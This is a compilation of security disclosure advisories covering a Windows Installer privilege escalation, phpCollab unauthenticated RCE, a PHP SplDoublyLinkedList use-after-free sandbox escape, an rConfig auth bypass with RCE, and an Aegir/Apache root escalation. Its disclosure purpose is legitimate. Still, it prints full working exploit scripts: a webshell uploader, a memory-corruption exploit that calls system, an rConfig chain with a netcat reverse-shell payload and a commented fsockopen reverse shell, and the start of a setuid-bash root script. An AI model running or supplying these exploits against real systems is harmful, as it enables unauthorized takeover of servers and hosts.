SSD Advisory – Windows Installer Elevation of Privileges Vulnerability

TL;DR

Vulnerability in Windows Installer allows local users to gain elevated SYSTEM privileges in Windows.

Vulnerability Summary

Windows Installer is a software component and application programming interface of Microsoft Windows used for the installation, maintenance, and removal of software.

Windows Installer suffers from a local privilege escalation allowing a local user to gain SYSTEM on victim’s machine. Microsoft has made a patch available that addresses this issue.

Credit

Independent security researcher Abdelhamid Naceri (halov) has reported this vulnerability to the SSD Secure Disclosure program.

CVE

CVE-2020-16902

Affected Versions

Windows 7

Windows 8

Windows 10

Windows 2008

Windows 2012

Windows 2016

Windows 2019

Vendor Response

Microsoft has released patches to address this issue, for more details see: CVE-2020-16902 | Windows Installer Elevation of Privilege Vulnerability

Vulnerability Analysis

The vulnerability was first found by sandbox escaper. She posted the write up here.

As noted in the write up, the original vulnerability got addressed in CVE-2019-1415. However, it was possible to bypass the patch – this was reported to Microsoft and they released it via security patches for CVE-2020-0814 and CVE-2020-1302. It now turns out those patches can be bypassed as well.

Here’s the unpatched output of the windows installer output using Process Monitor:

And then here’s the updated version:

As you can see, there’s no call to SetSecurityFile to secure the folder and so setting up the security description in c:\ allows for a race condition – since by default an authenticated user has delete access to subdirectories. This means we can call CreateDirectory(path,&sz) and set sz to our security descriptor. That was the patch for CVE-2020-0814.

But wait, why should the directory be protected from a user?

Windows Installer Rollback Files and Scripts

When you try to install, repair, uninstall something you might notice that there’s a cancel button

According to the Microsoft Documentation when the Windows Installer processes the installation script for the installation of a product or application, it simultaneously generates a rollback script and saves a copy of every file deleted during the installation.

These files are kept in a hidden system directory and are automatically deleted once the installation is successfully completed. If however the installation is unsuccessful, the installer automatically performs a rollback that returns the system to its original state.

So if we can modify the rollback files we can do changes to the machine in the context of the windows installer service which runs as SYSTEM.

As you can see here:

There are probably no race conditions since we can’t access the directory because of the ACL.

The security descriptor doesn’t allow even a user to get read access to the directory.

But there’s still something we can do. As seen above, Windows installer doesn’t create the rollback script directly but rather creates a directory and puts temporary files in it, and then deletes the directory.

However, there’s a weird part when the windows installer checks to see if the directory still exists after it successfully deleted it (see the NAME NOT FOUND). If the directory still exist after Windows Installer deleted it, CVE-2020-1302 resurfaces.

As you can see Windows Installer tries to set the security of the folder, which can be easily abused: since we created the directory, we have the ownership of the directory and will have WRITE_DAC access to the directory. As soon as Windows Installer tries to change the ACL to make it write restricted we change it to give everyone access to the directory.

It should be noted that accessing the rollback is a little bit difficult: the rollback script is created with a security descriptor that allow only SYSTEM and Administrators to access to it, which means that even if we control the c:\config.msi directory we can’t access the rollback script. However as can be seen in CVE-2020-0814, we can move the entire directory and then replace it as, and at this point we would have control over the entire directory and this will allow us to delete or move it.

This means we can move the entire directory into a temporary place and then create it by ourselves and place in it our specially created rollback file which would then be executed. Windows Installer usually makes it harder than it sounds, since the Windows Installer creates the rollback file in the directory using a special sharing method:

As you can see we are only allowed read only access, so any attempt to access to it with delete or write access will result in SHARING_VIOALATION.

We can still do some damage sooner or later as the Windows Installer will close the handle, but then again reopen it when Windows Installer wants to read it after clicking on Cancel. In between these two steps we can to move the directory and replace it.

So far the vulnerability would require a timing attack: pressing on the Cancel button at the right moment. So we need to address it in order to make the LPE work seamlessly.

In order to do that, we’ll use an application called Advanced Installer, used to create MSI packages. This application has a nice feature called Custom Actions:

Clicking on it will show you these options:

Clicking on “Launch File” will bring up:

The interesting option is Fail the installation if the custom action return an error, this what we are looking for an automated rollback. You can also see an option at the bottom called Condition. Let’s see what we can do with it.

As you can see, it asks us for the expression and it expects something like if(condition==true){//then execute}

If you pick the Wizard option (just right of the text box), you can then select Feature and click Next:

We can pick the Feature is being reinstalled:

This will allow us to execute the file only if the package is being repaired, making our exploit no longer require any user interaction.

At this point we have everything ready, we have an MSI package that will fail, will automatically rollback and will execute our code – we just need the Rollback file placed in the right folder and we are set.

Our rollback file will modify the Fax service executable to something we control – since users are allowed to start this service without any special privileges, after the registry was modified we just need to star the service and we get SYSTEM privileges.

Exploit

Because the exploitation of this vulnerability requires building an MSI file and using Bluebear rollback generated file, we will not be providing an exploit for this vulnerability – a working exploit in binary form was provided to Microsoft and used by them to verify the findings.

SSD Advisory – phpCollab Unauth RCE

TL;DR

Find out how a vulnerability in phpCollab allows an unauthenticated user to reach RCE abilities and run code as ‘www-data’.

Vulnerability Summary

phpCollab is “a project management and collaboration system. Features include: team/client sites, task assignment, document repository/workflow, gantt charts, discussions, calendar, notifications, support requests, weblog newsdesk, invoicing, and many other tools”.

A vulnerability in phpCollab allows unauthenticated users to exploit the vulnerability through the file upload feature, and perform Remote Code Execution.

Credit

An independent, Trung Le, Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Versions

phpCollab 2.7.2 and prior

Fixed Versions

phpCollab 2.8.2

Vendor Response

“We released v2.8.2 a few days ago, which included the fixes that resolve the vulnerability you reported.

If you have found that the vulnerability is still present, or have found something else, please let us know and we will investigate it.

Thanks for helping test this issue”.

Vulnerability Analysis

phpCollab allows uploading content by admin whenever a new client is created. This is done through the editclient.php page.

Due to a mistake this page however appears to lacks basic tests for whether or not the user has logged on to the system when accessed directly and a POST request is used.

This allows a remote attacker to upload files to the server, which he can then subsequently, access.

By uploading a PHP file to the server which contains code execution commands, a remote user can run code without requiring to be logged on to the phpCollab application.

NOTE: Because the phpCollab application stores the files in a sequential number – based on how many previous uploads have occurred – a subsequent call to iterate through all possible files is required.

Demo

Exploit

#!/usr/bin/python3
import requests
import sys
import logging

try:
    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client
# http_client.HTTPConnection.debuglevel = 1

logging.basicConfig()
# logging.getLogger().setLevel(logging.DEBUG)
# requests_log = logging.getLogger("requests.packages.urllib3")
# requests_log.setLevel(logging.DEBUG)
# requests_log.propagate = True

if len(sys.argv) < 2:
  print("Please provide a base URL")
  sys.exit()

url = sys.argv[1]

print("Attacking URL: {}".format(url))

payload = """<?php
system($_GET['cmd'])
?>"""

data = {
  'owner' : '1',
  'name' : '''5aaa()<>/"';''',
}

files = {'upload' : ( 'something.php', payload), }

headers = {
}

print("Uploading shell file")
response = requests.post( '{}clients/editclient.php?action=add&'.format(url), verify=False, files = files, data = data, headers = headers)

# print("body: {}".format(response.request.body))
# print("headers: {}".format(response.request.headers))

print("Looking for our shell file")
for number in range(1, 50):
  shell_url = '{}logos_clients/{}.php?cmd=id'.format(url, number)
  response = requests.get(shell_url)
  if response.status_code == 200 and 'uid=' in response.text:
    print("Command shell found at: {}".format(shell_url))
    sys.exit()

SSD Advisory – PHP SplDoublyLinkedList UAF Sandbox Escape

TL;DR

Find out how a use after free vulnerability in PHP allows attackers that are able to run PHP code to escape disable_functions restrictions.

Vulnerability Summary

PHP’s SplDoublyLinkedList is vulnerable to an UAF since it has been added to PHP’s core (PHP version 5.3, in 2009). The UAF allows to escape the PHP sandbox and execute code. Such exploits are generally used to bypass PHP limitations such as disable_functions, safe_mode, etc.

Credit

An independent Security Researcher, Charles Fol (@cfreal_), has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

PHP version 8.0 (alpha)

PHP version 7.4.10 and prior (probably also future versions will be affected)

Vendor Response

According to our security classification, this is not a security issue – https://wiki.php.net/security#not_a_security_issue, because it requires very special exploit code on the server. If an attacker is able to inject code, there may be more serious issues than bypassing disable_functions (note that safe_mode is gone for many years).

Vulnerability Analysis

SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
Said iteration is done by keeping a pointer to the “current” DLL element.

You can then call next() or prev() to make the DLL point to another element.

When you delete an element of the DLL, PHP will remove the element from the DLL, then destroy the zval, and finally clear the current ptr if it points to the element. Therefore, when the zval is destroyed, current is still
pointing to the associated element, even if it was removed from the list.

This allows for an easy UAF, because you can call $dll->next() or $dll->prev() in the zval’s destructor.

Code flow from input to the vulnerable condition

We create an SplDoublyLinkedList object $s with two values; the first one is an object with a specific __destruct, and the other does not matter. We call $s->rewind() so that the iterator current element points to our object.
When we call $s->offsetUnset(0), it calls the underlying C function SPL_METHOD(SplDoublyLinkedList, offsetUnset) (in ext/spl/spl_dllist.c) which does the following:

  1. Remove the item from the doubly-linked list by setting
    element->prev->next = element->next
    element->next->prev = element->prev
    (effectively removing the item from the DLlist)
  2. Destroy the associated zval (llist->dtor)
  3. If intern->traverse_pointer points to the element (which is the case), reset the pointer to NULL.

On step 2, the __destruct method of our object is called. intern->traverse_pointer still points to the element. To trigger an UAF, we can do:

    1. Remove the second element of the DLlist by calling $s->offsetUnset(0).
      now, intern->traverse_pointer->next points to a freed location
    2. Call $s->next(): this effectively does intern->traverse_pointer = intern->traverse_pointer->next. Since this was freed just above, traverse_pointer points to a freed location.
    3. Using $s->current(), we can now access freed memory -> UAF

Suggested Fixes

intern->traverse_pointer needs to be cleared before destroying the zval, and the reference can be deleted afterwards. Something like this would do:

        was_traverse_pointer = 0;

        // Clear the current pointer
        if (intern->traverse_pointer == element) {
            intern->traverse_pointer = NULL;
            was_traverse_pointer = 1;
        }

        if(llist->dtor) {
            llist->dtor(element);
        }

        if(was_traverse_pointer) {
            SPL_LLIST_DELREF(element);
        }

        // In the current implementation, this part is useless, because
        // llist->dtor will UNDEF the zval before
        zval_ptr_dtor(&element->data);
        ZVAL_UNDEF(&element->data);

        SPL_LLIST_DELREF(element);

Demo

Exploit

<?php
#
# PHP SplDoublyLinkedList::offsetUnset UAF
# Charles Fol (@cfreal_)
# 2020-08-07
# PHP is vulnerable from 5.3 to 8.0 alpha
# This exploit only targets PHP7+.
#
# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
# Said iteration is done by keeping a pointer to the "current" DLL element.
# You can then call next() or prev() to make the DLL point to another element.
# When you delete an element of the DLL, PHP will remove the element from the
# DLL, then destroy the zval, and finally clear the current ptr if it points
# to the element. Therefore, when the zval is destroyed, current is still
# pointing to the associated element, even if it was removed from the list.
# This allows for an easy UAF, because you can call $dll->next() or
# $dll->prev() in the zval's destructor.
#  
#

error_reporting(E_ALL);

define('NB_DANGLING', 200);
define('SIZE_ELEM_STR', 40 - 24 - 1);
define('STR_MARKER', 0xcf5ea1);

function i2s(&$s, $p, $i, $x=8)
{
    for($j=0;$j<$x;$j++)
    {
        $s[$p+$j] = chr($i & 0xff);
        $i >>= 8;
    }
}


function s2i(&$s, $p, $x=8)
{
    $i = 0;

    for($j=$x-1;$j>=0;$j--)
    {
        $i <<= 8;
        $i |= ord($s[$p+$j]);
    }

    return $i;
}


class UAFTrigger
{
    function __destruct()
    {
        global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;

        #"print('UAF __destruct: ' . "\n");
        $dlls[NB_DANGLING]->offsetUnset(0);
        
        # At this point every $dll->current points to the same freed chunk. We allocate
        # that chunk with a string, and fill the zval part
        $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
        i2s($fake_dll_element, 0x00, 0x12345678); # ptr
        i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff
        
        # Each of these dlls current->next pointers point to the same location,
        # the string we allocated. When calling next(), our fake element becomes
        # the current value, and as such its rc is incremented. Since rc is at
        # the same place as zend_string.len, the length of the string gets bigger,
        # allowing to R/W any part of the following memory
        for($i = 0; $i <= NB_DANGLING; $i++)
            $dlls[$i]->next();

        if(strlen($fake_dll_element) <= SIZE_ELEM_STR)
            die('Exploit failed: fake_dll_element did not increase in size');
        
        $leaked_str_offsets = [];
        $leaked_str_zval = [];

        # In the memory after our fake element, that we can now read and write,
        # there are lots of zend_string chunks that we allocated. We keep three,
        # and we keep track of their offsets.
        for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)
        {
            # If we find a string marker, pull it from the string list
            if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)
            {
                $leaked_str_offsets[] = $offset;
                $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];
                if(count($leaked_str_zval) == 3)
                    break;
            }
        }

        if(count($leaked_str_zval) != 3)
            die('Exploit failed: unable to leak three zend_strings');
        
        # free the strings, except the three we need
        $strs = null;

        # Leak adress of first chunk
        unset($leaked_str_zval[0]);
        unset($leaked_str_zval[1]);
        unset($leaked_str_zval[2]);
        $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);

        # At this point we have 3 freed chunks of size 40, which we can read/write,
        # and we know their address.
        print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");

        # In the third one, we will allocate a DLL element which points to a zend_array
        $rw_dll->push([3]);
        $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);
        # Change the zval type from zend_object to zend_string
        i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
        if(gettype($rw_dll[0]) != 'string')
            die('Exploit failed: Unable to change zend_array to zend_string');
        
        # We can now read anything: if we want to read 0x11223300, we make zend_string*
        # point to 0x11223300-0x10, and read its size using strlen()

        # Read zend_array->pDestructor
        $zval_ptr_dtor_addr = read($array_addr + 0x30);
    
        print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");

        # Use it to find zif_system
        $system_addr = get_system_address($zval_ptr_dtor_addr);
        print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");
        
        # In the second freed block, we create a closure and copy the zend_closure struct
        # to a string
        $rw_dll->push(function ($x) {});
        $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);
        $data = str_shuffle(str_repeat('A', 0x200));

        for($i = 0; $i < 0x138; $i += 8)
        {
            i2s($data, $i, read($closure_addr + $i));
        }
        
        # Change internal func type and pointer to make the closure execute system instead
        i2s($data, 0x38, 1, 4);
        i2s($data, 0x68, $system_addr);
        
        # Push our string, which contains a fake zend_closure, in the last freed chunk that
        # we control, and make the second zval point to it.
        $rw_dll->push($data);
        $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;
        i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);
        print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");
        
        # Calling it now
        
        print('Running system("id");' . "\n");
        $rw_dll[1]('id');

        print_r('DONE'."\n");
    }
}

class DanglingTrigger
{
    function __construct($i)
    {
        $this->i = $i;
    }

    function __destruct()
    {
        global $dlls;
        #D print('__destruct: ' . $this->i . "\n");
        $dlls[$this->i]->offsetUnset(0);
        $dlls[$this->i+1]->push(123);
        $dlls[$this->i+1]->offsetUnset(0);
    }
}

class SystemExecutor extends ArrayObject
{
    function offsetGet($x)
    {
        parent::offsetGet($x);
    }
}

/**
 * Reads an arbitrary address by changing a zval to point to the address minus 0x10,
 * and setting its type to zend_string, so that zend_string->len points to the value
 * we want to read.
 */
function read($addr, $s=8)
{
    global $fake_dll_element, $leaked_str_offsets, $rw_dll;

    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);
    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);

    $value = strlen($rw_dll[0]);

    if($s != 8)
        $value &= (1 << ($s << 3)) - 1;

    return $value;
}

function get_binary_base($binary_leak)
{
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++)
    {
        $addr = $start - 0x1000 * $i;
        $leak = read($addr, 7);
        # ELF header
        if($leak == 0x10102464c457f)
            return $addr;
    }
    # We'll crash before this but it's clearer this way
    die('Exploit failed: Unable to find ELF header');
}

function parse_elf($base)
{
    $e_type = read($base + 0x10, 2);

    $e_phoff = read($base + 0x20);
    $e_phentsize = read($base + 0x36, 2);
    $e_phnum = read($base + 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = read($header + 0x00, 4);
        $p_flags = read($header + 0x04, 4);
        $p_vaddr = read($header + 0x10);
        $p_memsz = read($header + 0x28);

        if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
            # handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        die('Exploit failed: Unable to parse ELF');

    return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = read($data_addr + $i * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'constant' constant check
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = read($data_addr + ($i + 4) * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'bin2hex' constant check
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

function get_system($basic_funcs)
{
    $addr = $basic_funcs;
    do {
        $f_entry = read($addr);
        $f_name = read($f_entry, 6);

        if($f_name == 0x6d6574737973) { # system
            return read($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

function get_system_address($binary_leak)
{
    $base = get_binary_base($binary_leak);
    print('ELF base: 0x' .dechex($base) . "\n");
    $elf = parse_elf($base);
    $basic_funcs = get_basic_funcs($base, $elf);
    print('Basic functions: 0x' .dechex($basic_funcs) . "\n");
    $zif_system = get_system($basic_funcs);
    return $zif_system;
}

$dlls = [];
$strs = [];
$rw_dll = new SplDoublyLinkedList();


# Create a chain of dangling triggers, which will all in turn
# free current->next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
for($i = 0; $i < NB_DANGLING; $i++)
{
    $dlls[$i] = new SplDoublyLinkedList();
    $dlls[$i]->push(new DanglingTrigger($i));
    $dlls[$i]->rewind();
}

# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
define('NB_STRS', 50);
for($i = 0; $i < NB_STRS; $i++)
{
    $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
    i2s($strs[$i], 0, STR_MARKER);
    i2s($strs[$i], 8, $i, 7);
}

# Free one string in the middle, ...
$strs[NB_STRS - 20] = 123;
# ... and put the to-be-UAF'd list element instead.
$dlls[0]->push(0);

# Setup the last DLlist, which will exploit the UAF
$dlls[NB_DANGLING] = new SplDoublyLinkedList();
$dlls[NB_DANGLING]->push(new UAFTrigger());
$dlls[NB_DANGLING]->rewind();

# Trigger the bug on the first list
$dlls[0]->offsetUnset(0);

SSD Advisory – rConfig Unauthenticated RCE

TL;DR

Find out how a chain of vulnerabilities in rConfig allows a remote unauthenticated user to gain ‘apache’ user access to the vulnerable rConfig installation.

Vulnerability Summary

rConfig is “an open source network device configuration management utility that takes frequent configuration snapshots of devices. Open source, and built by Network Architects – We know what you need!”

Two vulnerabilities in rConfig remote unauthenticated RCE. One vulnerability allows an unauthenticated user to become authenticated, another vulnerability which is post-authentication allows an attacker to execute arbitrary code.

Credit

An independent Security Researcher, Daniel Monzón, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

rConfig 3.9.6 and prior

Vendor Response

The vendor was initially very responsive and provided feedback and a link to an updated version (3.9.6) – we originally verified the vulnerability on version 3.9.5.

We were able to confirm that version 3.9.6 is also vulnerable and communicated this back to the vendor.

The vendor has not responded since July and failed to provide any timeline for a fix or a patch.

At the moment we are not aware of a patch or a workaround to prevent these two vulnerabilities from being exploited.

Vulnerability Analysis

rConfig is vulnerable to multiple RCE vulnerabilities.

ajaxArchiveFiles.php RCE

In the file /home/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php there is a blind command injection vulnerability in the ext parameter (different from CVE-2019-19509, which by the way, has not been resolved and it is still present, as you can see in the screenshot):

To trigger the vulnerability the following raw request can be sent:

ajaxEditTemplate.php RCE

The second RCE is in the connection template edit page of rConfig. It is possible to introduce PHP code inside a file and call it ../www/test.php. This would allow an attacker to make the file reachable from the outside of the box. If the filename does not end in .yml, rConfig appends it, therefore a file called test.php will be accessible via https://rconfig/test.php.yml

updater.php RCE

The third RCE is in https://rconfig/updater.php?chk=1. There are not enough checks for in the updater.php file. If we grab a real rConfig ZIP and add a PHP webshell to the ZIP, upload and install, we we will find that the new admin credentials are admin:admin and we will have a nice webshell.

userprocess.php Authentication Bypass

The first authentication bypass vulnerability lays on the register function of
/home/rconfig/www/lib/crud/userprocess.php. There is no authentication enforced, so we can just create our own admin user (ulevelid = 9).

useradmin.inc.php Authentication Bypass

The second authentication bypass vulnerability is in the same file than the previous one. Using the information leakage in https://rconfig/useradmin.inc.php we can get to know which users are present in the rConfig instance, so we can update the details of the account (including the password), with again, no authentication required:

Demo

Exploit

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import urllib3
import re
#from bs4 import BeautifulSoup

urllib3.disable_warnings()

url="https://x.x.x.x/" #change this to fit your URL (adding the last slash)
payload="nc y.y.y.y 9001 -e /bin/sh"  #change this to whatever payload you want
payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlencoded payload as the value of the code parameter

print("Connecting to: {}".format(url))
print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload))

x = requests.get(url+"login.php", verify=False)
version = re.search("<p>(.*)<span>", x.text)
version = version.group(1)

if version == "rConfig Version 3.9.5":
   print("Version 3.9.5 confirmed")
else:
   print("Version is "+version+ " it may not be vulnerable")

payload_final=";"+payload
referer=url+"useradmin.php"
origin=url
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} #in case you need to debug the exploit with Burp, add ', proxies=proxies' to any request

def createuser():

    multipart_data = MultipartEncoder(
       fields={
               'username': 'test', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'test@test.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': ''
              }
       )
    headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
    cookies = {'PHPSESSID': 'test'}
    response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
    if "error" not in response.text:
        print("(+) User test created")
    else:
        print("(-) User couldn't be created, please debug the exploit")


def exploit():
    payload = {
    'user': 'test',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, ignore this message
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit")


def user_enum_update():
    users=requests.get(url+'useradmin.inc.php', verify=False)
    #matchObj = re.findall(r'<td align="center">(.*?)</td>', users.text, re.M|re.I|re.S)
    
    if "admin" in users.text:
      print("(+) The admin user is present in this rConfig instance")
      multipart_data = MultipartEncoder(
       fields={
               'username': 'admin', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'admin@admin.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': '1' #you may need to increment this if you want to reset the password of a different user
              }
       )
      headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
      cookies = {'PHPSESSID': 'test'}
      response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
      if "error" not in response.text:
          print("(+) The new password for the admin user is Testing1@")
      else:
          print("(-) Admin user couldn't be edited, please debug the exploit")
    elif  "Admin" in users.text:
       print("(+) There is at least one Admin user, check "+ str(url)+"useradmin.inc.php manually and modify the exploit accordingly (erase the if-elif statements of this function and modify the user payload)")
    
def template():
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    
    #<%3fphp+%24sock%3Dfsockopen%28%22192.168.1.13%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%3f>
    headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origin":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as admin completed")
            rce=s.post(url+'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload_rce, headers=headers_rce)
            if "success" in rce.text:
                print("(+) File created")
                rce_req = s.get(url+'test.php.yml', verify=False)
                print("(+) Command results: ")
                print(rce_req.text)
            else:
                print("(-) Error when executing payload, please debug the exploit")

def main():
    print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón")
    print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;)")
    print("Note: preferred method for auth bypass is 1, because it is less 'invasive'")
    print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine")
    print('''Choose method for authentication bypass:
        1) User creation
        2) User enumeration + User edit ''')
    auth_bypass=str(input("Method>"))
    if auth_bypass == "1":
       createuser()
    elif auth_bypass == "2":
       user_enum_update()
    print('''Choose method for RCE:
        1) Unsafe call to exec()
        2) Template edit ''')
    rce_method=str(input("Method>"))
    if rce_method == "1":
       exploit()
    elif rce_method == "2":
       template()
main()

SSD Advisory – Aegir with Apache LPE

TL;DR

Find out how we exploited a behavior of Apache while using the limited rights of Aegir user to gain root access.

Vulnerability Summary

Aegir is a free and open source Unix based web hosting control panel
program for Application lifecycle management that provides a graphical interface designed to simplify deploying and managing Drupal, WordPress and CiviCRM Web sites.

When installing Aegir using official packages, the script aegir3-provision.postinst installs an unsafe sudoer rule, allowing to elevate privileges from the user aegir to root.

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Aegir installations running under Apache

Unaffected Systems

Aegir installations running under Nginx

Vendor Response

The vendor released a statement, https://www.drupal.org/sa-contrib-2020-031, that the user aegir should not be used by any untrusted user as well as that customers should migrate to an Nginx setup (which is now the default) to prevent such attacks from being possible.

Vulnerability Analysis

During the installation of the package aegir3-provision, the script
aegir3-provision.postinst will create a sudo configuration file in
/etc/sudoers.d/aegir:

if [ -d /etc/sudoers.d ]; then
  ucf --debconf-ok /usr/share/drush/commands/provision/example.sudoers /etc/sudoers.d/aegir
  ucfr aegir-provision /etc/sudoers.d/aegir
  chmod 440 /etc/sudoers.d/aegir
else
  echo "running an older version of sudo"
  echo "copy content of /usr/share/drush/commands/provision/example.sudoers into /etc/sudoers for aegir to run properly"
fi

This file allows the user aegir to call /usr/sbin/apache2ctl (the
reference to /etc/init.d/nginx is not relevant here, as the package is not installed by default):

aegir ALL=NOPASSWD: /usr/sbin/apache2ctl
aegir ALL=NOPASSWD: /etc/init.d/nginx

This way, the user aegir can reload apache2‘s configuration to support
new virtual hosts. Part of this configuration is loaded from aegir‘s home
directory, as aegir3-provision.postinst creates a symbolic link between
/var/aegir/config/apache.conf and /etc/apache2/conf-enabled/aegir.conf:

case $WEBSERVER in 
apache)
  if [ -d /etc/apache2/conf-enabled ]; then
    # Apache 2.4
    ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf-enabled/aegir.conf
  else
    # Apache 2.2
    ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf.d/aegir.conf
  fi
  a2enmod ssl rewrite
  apache2ctl graceful
;;

However, configuration files can declare dynamic libraries to be loaded by
the HTTP server and also external error loggers. As described in
the documentation:

Piped log processes are spawned by the parent Apache httpd process, and inherit the userid of that process. This means that piped log programs usually run as root.

https://httpd.apache.org/docs/2.4/en/logs.html#piped

By modifying /var/aegir/config/apache.conf to declare a custom ErrorLog,
and then reloading the apache2 configuration using sudo /usr/sbin/apache2ctl restart, it will be possible to execute arbitrary commands as root.

As /usr/sbin/apache2ctl can also accept various flags to declare additional
configuration directives and write to arbitrary files, other ways to elevate
privileges may exist.

Temporary workaround

Remove the file /etc/sudoers.d/aegir. As Aegir will not be able to reload
the configuration of apache2, new hosts created on the interface will not
be reachable before a manual reload.

Fix (Unofficial)

The following changes could be implemented to prevent the privilege
escalation:

  • Deploying apache2 as an unprivileged service to be started as root, but
  • with the capability CAP_NET_BIND_SERVICE.
  • Using vhost_dbd_module to declare virtual hosts in a database, removing the need of loading apache2 configuration files from aegir‘s home directory.
  • Using a custom service to convert a set of ini files declaring virtual hosts and writing them into /etc/apache2. The user aegir would only be allowed to edit these files, start the conversion process and reload apache2.

Demo

Exploit

#/usr/bin/python2.7
import sys
import os

COMMAND='/usr/bin/chmod +s /bin/bash'

SUDO_RELOAD='/usr/bin/sudo /usr/sbin/apache2ctl restart'
